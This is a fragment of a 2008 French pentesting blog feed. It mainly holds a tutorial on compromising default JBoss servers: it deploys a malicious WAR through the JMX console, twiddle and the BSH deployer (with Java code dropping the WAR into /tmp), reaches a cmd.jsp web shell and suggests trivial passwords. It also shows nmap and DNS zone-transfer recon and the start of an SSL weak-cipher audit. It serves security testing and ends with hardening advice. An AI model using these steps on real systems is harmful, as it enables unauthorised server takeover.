/&gt;&lt;/a&gt;&lt;u&gt;&lt;br /&gt;4.5 - IG-005 : Découverte de l'application&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;1/ Trouver les applications annexes via l'URL. Par exemple, &lt;span style="font-family:courier new;"&gt;http://&lt;cible&gt;cible.fr/&lt;/cible&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;webmail&lt;/span&gt;. Elles peuvent être trouvées en les devinant pour les plus évidentes ou à l'aide d'un scanner WEB comme Nikto.&lt;br /&gt;2/ Trouver les ports non standards hébergeant des interfaces WEB à l'aide d'un scanner de port comme &lt;span style="font-weight: bold;"&gt;NMAP&lt;/span&gt; (puis vérifier avec &lt;span style="font-style: italic;"&gt;telnet&lt;/span&gt;) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nmap &lt;cible&gt; &lt;/cible&gt;cible.fr &lt;cible&gt;-p- -sS -sV -PN&lt;/cible&gt;&lt;/blockquote&gt;&lt;br /&gt;3/ Lancer les requêtes DNS (pour trouver les hôtes virtuels) :&lt;br /&gt;a) Tenter le &lt;span style="font-weight: bold;"&gt;transfert de zones&lt;/span&gt; ;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;host -t ns &lt;cible&gt;cible.fr&lt;br /&gt;host -l cible.fr &lt;span style="font-style: italic;"&gt;serveur_dns_cible&lt;/span&gt;&lt;cible&gt; &lt;serveur_dns_cible&gt;&lt;br /&gt;&lt;/serveur_dns_cible&gt;&lt;/cible&gt;&lt;/cible&gt;&lt;/blockquote&gt;b) Tenter les &lt;span style="font-weight: bold;"&gt;requêtes inverses&lt;/span&gt; ;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;./dns-ptr cible.fr &lt;span style="font-style: italic;"&gt;nb_adresse_ip&lt;/span&gt;&lt;ip_cible&gt; &lt;nb_ip_à_tester&gt;&lt;/nb_ip_à_tester&gt;&lt;/ip_cible&gt;&lt;/blockquote&gt;&lt;br /&gt;c) Recherche DNS via le &lt;span style="font-weight: bold;"&gt;service de Netcraft&lt;/span&gt; [&lt;a href="http://searchdns.netcraft.com/?host"&gt;site&lt;/a&gt;] ;&lt;br /&gt;d) Requêtes inverses [&lt;a href="http://www.domaintools.com/reverse-ip/"&gt;site&lt;/a&gt;] ;&lt;br /&gt;e) Autres recherches avec &lt;span style="font-weight: bold;"&gt;Maltego &lt;/span&gt;par exemple.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4.6 - IG-006 : Analyse des erreurs de code&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;1/ Provoquer des erreurs via les &lt;span style="font-weight: bold;"&gt;requêtes HTTP&lt;/span&gt; (Erreurs 404 et 500 notamment).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;nc cible.fr 80&lt;br /&gt;GET /truc.html HTTP/1.0&lt;br /&gt;GET /truc.html HTTP/1.1&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;2/ Tester les défauts de &lt;span style="font-weight: bold;"&gt;configuration &lt;/span&gt;du serveur WEB, de la base de données, ...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SV0sZcZmU5I/AAAAAAAAAbg/kKNaU_WO69M/s1600-h/tomcat.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 118px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SV0sZcZmU5I/AAAAAAAAAbg/kKNaU_WO69M/s400/tomcat.PNG" alt="" id="BLOGGER_PHOTO_ID_5286430353234744210" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3/ Tenter une mauvaise &lt;span style="font-weight: bold;"&gt;authentification&lt;/span&gt;.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le message d'erreur est-il différent quand le login ou le mot de passe sont faux ?&lt;/li&gt;&lt;li&gt;Une erreur d'authentification révèle-t-elle des informations sur la nature du serveur / équipement d'authentification ?&lt;/li&gt;&lt;li&gt;Une erreur d'authentification révèle-t-elle des informations sur la nature du login  ? du mot de passe ?&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;La suite au prochain épisode !&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4360416786464238681?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4360416786464238681/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4360416786464238681' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4360416786464238681'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4360416786464238681'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/12/standard-owasp-methodology-episode-1.html' title='[STANDARD] OWASP - Episode 1'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/SVuCmbI64nI/AAAAAAAAAa4/1Wzyhx1XWG4/s72-c/SDLC2.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1205862622762875643</id><published>2008-12-07T05:43:00.000-08:00</published><updated>2009-07-16T08:53:37.031-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTESTING] JBoss hacking</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Avec l'expansion des serveurs J2EE, il y a de bonnes chances d'en rencontrer un pendant un test d'intrusion d'application WEB. Après avoir vu Jonas dans un post précédent, nous allons aujourd'hui nous attaquer à JBoss, 2e plateforme J2EE open source répandue. Pour cela, nous allons nous baser sur la présentation qui a eu lieu lors de la conférence Hack.lu 2008 avec les démonstrations qui vont bien.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Reconnaissance de la cible&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Pour savoir si nous avons à faire à une plateforme JBoss, le scan de la cible devrait nous aider. En l'occurrence, les ports 8080 et 4444 devraient être ouverts en TCP :&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/STvUa5wMnnI/AAAAAAAAAU8/TEwf5VB-5q4/s1600-h/nmap.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 112px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/STvUa5wMnnI/AAAAAAAAAU8/TEwf5VB-5q4/s400/nmap.JPG" alt="" id="BLOGGER_PHOTO_ID_5277044947039329906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Les attaques&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;Entrons directement dans le coeur du sujet. Il existe plusieurs pistes d'attaque que nous allons voir toute de suite.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.1 - Attaque via la console JMX&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;On obtient l'interface WEB de JBoss facilement en tapant sur la port 8080 de la cible. Puis cliquer sur le lien "&lt;span style="font-style: italic;"&gt;JMX console&lt;/span&gt;" pour atteindre notre but :&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvYQTP57wI/AAAAAAAAAVE/wuzRQJZoaGc/s1600-h/main_console_jmx.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 412px; height: 176px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvYQTP57wI/AAAAAAAAAVE/wuzRQJZoaGc/s400/main_console_jmx.JPG" alt="" id="BLOGGER_PHOTO_ID_5277049162951159554" border="0" /&gt;&lt;/a&gt;Dans la nouvelle page, lancer une recherche sur le mot "deployment" et cliquer sur le premier lien ("&lt;span style="font-style: italic;"&gt;deploymentScanner&lt;/span&gt;") :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvZQ283HlI/AAAAAAAAAVM/NKiuQcw6fic/s1600-h/jmx_search2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 215px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvZQ283HlI/AAAAAAAAAVM/NKiuQcw6fic/s400/jmx_search2.JPG" alt="" id="BLOGGER_PHOTO_ID_5277050272046587474" border="0" /&gt;&lt;/a&gt;Dans cette troisième page :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;rechercher la fonction &lt;span style="font-family:courier new;"&gt;void addURL()&lt;/span&gt; et dont le &lt;span style="font-style: italic;"&gt;ParamType &lt;/span&gt;est &lt;span style="font-family:courier new;"&gt;java.lang.String ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;entrer l'adresse où se trouve votre .WAR malicieux dans le champ prévu (ici &lt;span style="font-style: italic;"&gt;pentest.war&lt;/span&gt;);&lt;/li&gt;&lt;li&gt;cliquer sur le bouton "&lt;span style="font-style: italic;"&gt;Invoke&lt;/span&gt;".&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/STvanpjnfeI/AAAAAAAAAVU/CZ6qOKPrfcA/s1600-h/2_console_jmx.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 139px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/STvanpjnfeI/AAAAAAAAAVU/CZ6qOKPrfcA/s400/2_console_jmx.JPG" alt="" id="BLOGGER_PHOTO_ID_5277051763099663842" border="0" /&gt;&lt;/a&gt;Si tout s'est bien passé, la page suivante devrait s'afficher :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvb99sTHVI/AAAAAAAAAVk/z2lerDS0ThU/s1600-h/3_console_jmx.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 103px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/STvb99sTHVI/AAAAAAAAAVk/z2lerDS0ThU/s400/3_console_jmx.JPG" alt="" id="BLOGGER_PHOTO_ID_5277053245973536082" border="0" /&gt;&lt;/a&gt;Entrer maintenant l'URL suivante (avec ici &lt;span style="font-style: italic;"&gt;nom_commande&lt;/span&gt; = &lt;span style="font-family:courier new;"&gt;cmd.jsp&lt;/span&gt;) :&lt;br /&gt;&lt;blockquote&gt;http://&lt;&lt;span style="font-style: italic;"&gt;adresse_cible&lt;/span&gt;&gt;:8080/pentest/&lt;&lt;span style="font-style: italic;"&gt;nom_commande&lt;/span&gt;&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/STvd6dzscdI/AAAAAAAAAVs/fETnGMTvwHk/s1600-h/jmx_commande.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 157px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/STvd6dzscdI/AAAAAAAAAVs/fETnGMTvwHk/s400/jmx_commande.JPG" alt="" id="BLOGGER_PHOTO_ID_5277055384898269650" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;La fenêtre qui s'affiche permet de lancer n'importe quelle commande. Il existe aussi d'autres scripts dans le .WAR malicieux qui peuvent permettre la compromission du serveur. Et 1 - 0 ! :)&lt;br /&gt;&lt;br /&gt;L'attaque peut ne pas être possible si la console JMX est protégée par un mot de passe. Cependant, n'oubliez pas d'essayer les mots de passe triviaux avant d'abandonner ;)&lt;br /&gt;&lt;u&gt;&lt;br /&gt;2.2 - Attaque via le programme twiddle&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous tentons donc de passer par l'interface RMI qui est présente ici. Pour cela, nous avons besoin du programme &lt;span style="font-style: italic;"&gt;twiddle&lt;/span&gt; qui fait partie de l'exécutable de JBoss.&lt;br /&gt;&lt;blockquote&gt;twiddle.bat -s &lt;span style="font-style: italic;"&gt;hostname_cible&lt;/span&gt; &lt;hostname_cible&gt; invoke "jboss.system:service" deploy "pentest.war"&lt;/hostname_cible&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_BhVyBIyY5_8/ST7u3w0QHgI/AAAAAAAAAV0/1BudiNHwnpk/s1600-h/twiddle2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 73px;" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/ST7u3w0QHgI/AAAAAAAAAV0/1BudiNHwnpk/s400/twiddle2.JPG" alt="" id="BLOGGER_PHOTO_ID_5277918455089077762" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;NB : Ici, &lt;span style="font-style: italic;"&gt;pentest.war&lt;/span&gt; est dans le répertoire &lt;span style="font-style: italic;"&gt;bin&lt;/span&gt; de l'attaquant. Sinon, ajouter le chemin.&lt;br /&gt;&lt;/div&gt;NB : Vous pouvez aussi utiliser &lt;span style="font-style: italic;"&gt;twiddle.sh&lt;/span&gt; ou &lt;span style="font-style: italic;"&gt;twiddle.jar&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Les résultats obtenus sont les mêmes que pour la première attaque : et 2 - 0 !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.3 - Attaque via le BSH Deployer&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nous sommes dans le cas où nous ne sommes pas autorisé à initier un flux sortant contrairement à la première attaque (contrôle pare-feu). Ici, nous utilisons un *.WAR malicieux allégé nommé &lt;span style="font-style: italic;"&gt;pentest_light.war&lt;/span&gt;. Vous allez comprendre très vite pourquoi ...&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Tout d'abord, nous allons devoir écrire un petit programme JAVA. Avant cela, il nous faut juste encoder notre .WAR malicieux en base64. Pour effectuer cette opération, il existe des programmes (&lt;span style="font-family:courier new;"&gt;base64 &lt;span style="font-style: italic;"&gt;file&lt;/span&gt;&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&gt; &lt;span style="font-style: italic;"&gt;encoded_file.txt&lt;/span&gt;&lt;/span&gt; sur la backtrack) ou des sites en lignes [&lt;a href="http://www.opinionatedgeek.com/dotnet/tools/Base64Encode/Default.aspx"&gt;exemple&lt;/a&gt; ou &lt;a href="http://www.motobit.com/util/base64-decoder-encoder.asp"&gt;exemple2&lt;/a&gt;].&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nous plaçons le code obtenu dans le programme qui suit. Je précise que je ne suis pas l'auteur de ce code ;) Ce sont les Red Team les boss !&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;span style="font-family:courier new;"&gt;import java.io.FileOutputStream;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import sun.misc.BASE64Decoder;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;String val = "&lt;.war malicieux en base64 ici&gt;";&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;BASE64Decoder decoder = new BASE64Decoder();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;byte[] byteval = decoder.decodeBuffer(val);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;FileOutputStream fstream = new FileOutputStream("/tmp/pentest_light.war");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;fstream.write(byteval);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;fstream.close();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;span&gt;1/ Nous devons accéder à la console jmx et rechercher le &lt;span style="font-weight: bold;"&gt;BSHDeployer&lt;/span&gt; :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SUUsYwarKtI/AAAAAAAAAaY/542n1Rydlg4/s1600-h/BSH0.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 249px;" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SUUsYwarKtI/AAAAAAAAAaY/542n1Rydlg4/s400/BSH0.JPG" alt="" id="BLOGGER_PHOTO_ID_5279674941987039954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;2/ Nous utilisons la méthode &lt;span style="font-style: italic;"&gt;CreateScriptDeployment()&lt;/span&gt; avec les paramètres suivants :&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;le script lui-même (attention, supprimer les sauts de ligne) ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;le nom de notre script BSH sans l'extension (qui sera concaténée automatiquement).&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SUUtBt3FATI/AAAAAAAAAag/Vf7XEFQ4H2k/s1600-h/BSH3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 140px;" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SUUtBt3FATI/AAAAAAAAAag/Vf7XEFQ4H2k/s400/BSH3.JPG" alt="" id="BLOGGER_PHOTO_ID_5279675645675503922" border="0" /&gt;&lt;/a&gt;3/ Une fois que vous avez cliqué sur le bouton "&lt;span style="font-style: italic;"&gt;Invoke&lt;/span&gt;", le script est présent sur le serveur et a été interprété automatiquement. Notre module pentest_light.war est donc présent sur le serveur. Il ne nous reste plus qu'à le déployer avec une adresse locale :&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SUUuhh0jMKI/AAAAAAAAAaw/agXWoSVWAp4/s1600-h/BSH2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 137px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SUUuhh0jMKI/AAAAAAAAAaw/agXWoSVWAp4/s400/BSH2.JPG" alt="" id="BLOGGER_PHOTO_ID_5279677291711115426" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;u&gt;&lt;br /&gt;2.4 - Attaque via la WEB console&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;&lt;span&gt;Maintenant, nous nous trouvons dans le cas de figure où nous n'avons accès ni à la console JMX (attaques 1 et 3), ni à l'interface RMI (attaque 2).&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;A suivre ...&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conclusion&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;JBoss ouvre donc plusieurs voies d'attaque lorsqu'on l'installe par défaut. Il existe plusieurs mesures permettant de renforcer la sécurité de la plateforme J2EE. Elles devront toutes être mises en place pour parer à l'ensemble des menaces :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Mise en place d'un mot de passe sur l'interface JMX ;&lt;/li&gt;&lt;li&gt;Filtrage au niveau du pare-feu ;&lt;/li&gt;&lt;li&gt;Contrôle d'accès (sources) ;&lt;/li&gt;&lt;li&gt;Fermeture des ports non utilisés sur le système (ex : interface RMI).&lt;/li&gt;&lt;li&gt;Etc.&lt;/li&gt;&lt;/ul&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1205862622762875643?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1205862622762875643/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1205862622762875643' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1205862622762875643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1205862622762875643'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/12/pentesting-jboss-hacking.html' title='[PENTESTING] JBoss hacking'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/STvUa5wMnnI/AAAAAAAAAU8/TEwf5VB-5q4/s72-c/nmap.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-2010601466583043964</id><published>2008-11-29T00:54:00.000-08:00</published><updated>2009-01-02T08:52:31.229-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[WEB PENTESTING] SSL Capture Password</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous nous mettons dans le cas d'un audit d'un site WEB utilisant le protocole SSL. Alors que la plupart des internautes y voient une sécurité certaine, l'utilisateur averti connaît les faiblesses de ce protocole quand il est mal configuré. Ce post commencera par évaluer la robustesse de la sécurité de la communication. Dans un second temps, nous exploiterons le protocole s'il peut être affaibli (ou s'il l'est déjà ...).&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Quelques informations nécessaires.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Le protocole SSL existe en plusieurs versions. Vous trouverez sur Internet toutes les informations nécesaires. Pour commencer, Wikipédia est certainement un bon début grâce à l'article dédié à ce protocole [&lt;a href="http://fr.wikipedia.org/wiki/Secure_Sockets_Layer"&gt;ici&lt;/a&gt;].&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Mais pour la suite, nous avons juste besoin de savoir que nous trouvons principalement sur le WEB :&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;u&gt;CAS 1&lt;/u&gt; : Des serveurs WEB reposant sur un certificat SSLv2 vulnérable à des attaques de type &lt;span style="font-style: italic;"&gt;Man-in-the-Middle&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;&lt;u&gt;CAS 2&lt;/u&gt; : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 mais supportant aussi le protocole SSLv2. Ils deviennent alors eux aussi vulnérables au mêmes type d'attaque ; &lt;/li&gt;&lt;li&gt;&lt;u&gt;CAS 3&lt;/u&gt; : Des serveurs WEB reposant sur un certificat SSLv3/TLSv1 et ne supportant que ce protocole. Ces serveurs ne sont pas vulnérables sauf si la clé de chiffrement est faible.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - Le serveur audité est-il vulnérable ?&lt;/span&gt;&lt;/strong&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Pour résumer la première partie, la réponse sera "&lt;span style="font-style: italic;"&gt;oui&lt;/span&gt;" s'il supporte le protocole SSLv2 et/ ou s'il supporte des algorithmes de chiffrement basée sur une clé trop faible.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Pour effectuer nos tests, nous allons étudier l'outil &lt;span style="font-weight: bold;"&gt;SSLDigger &lt;/span&gt;de Foundstone [&lt;a href="http://www.foundstone.com/us/resources/proddesc/ssldigger.htm"&gt;télécharger&lt;/a&gt;].&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Le certificat par défaut peut utiliser un algorithme de chiffrement robuste mais cela n'empêche pas qu'il peut supporter des algorithmes de chiffrements plus faibles.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Après avoir lancé l'outil et entré l'adresse du site, appuyez sur le bouton "GO". De suite, nous voyons que le certificat repose sur un algorithme RSA et une clé de chiffrement de 1024 bits : c'est bon ! De plus, nous remarquons qu'il est signé par une entité reconnue.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/STm08CLd9-I/AAAAAAAAAUc/Ovrw42Askls/s1600-h/certificat_natif.JPG"&gt;&lt;img style="cursor: pointer; width: 362px; height: 228px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/STm08CLd9-I/AAAAAAAAAUc/Ovrw42Askls/s400/certificat_natif.JPG" alt="" id="BLOGGER_PHOTO_ID_5276447381911369698" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Mais supporte-t-il aussi des protocoles faibles ? Pour cela, SSLDigger lance automatiquement les tests si vous avez cliqué sur sur "&lt;span style="font-style: italic;"&gt;oui&lt;/span&gt;" sur la popup apparue à l'ouverture de l'outil. Sinon, vous trouverez un bouton "&lt;span style="font-style: italic;"&gt;SSL test&lt;/span&gt;" sur l'interface.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Une fois les tests terminés, cliquez sur "&lt;span style="font-style: italic;"&gt;oui&lt;/span&gt;" pour enregistrer et voir le rapport.  En l'occurrence, nous voyons que des protocoles faibles sont supportés (3 exactement) :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/STm1AhxfmYI/AAAAAAAAAUk/lZqH2NYYTM8/s1600-h/weak_ssl.JPG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 75px;" 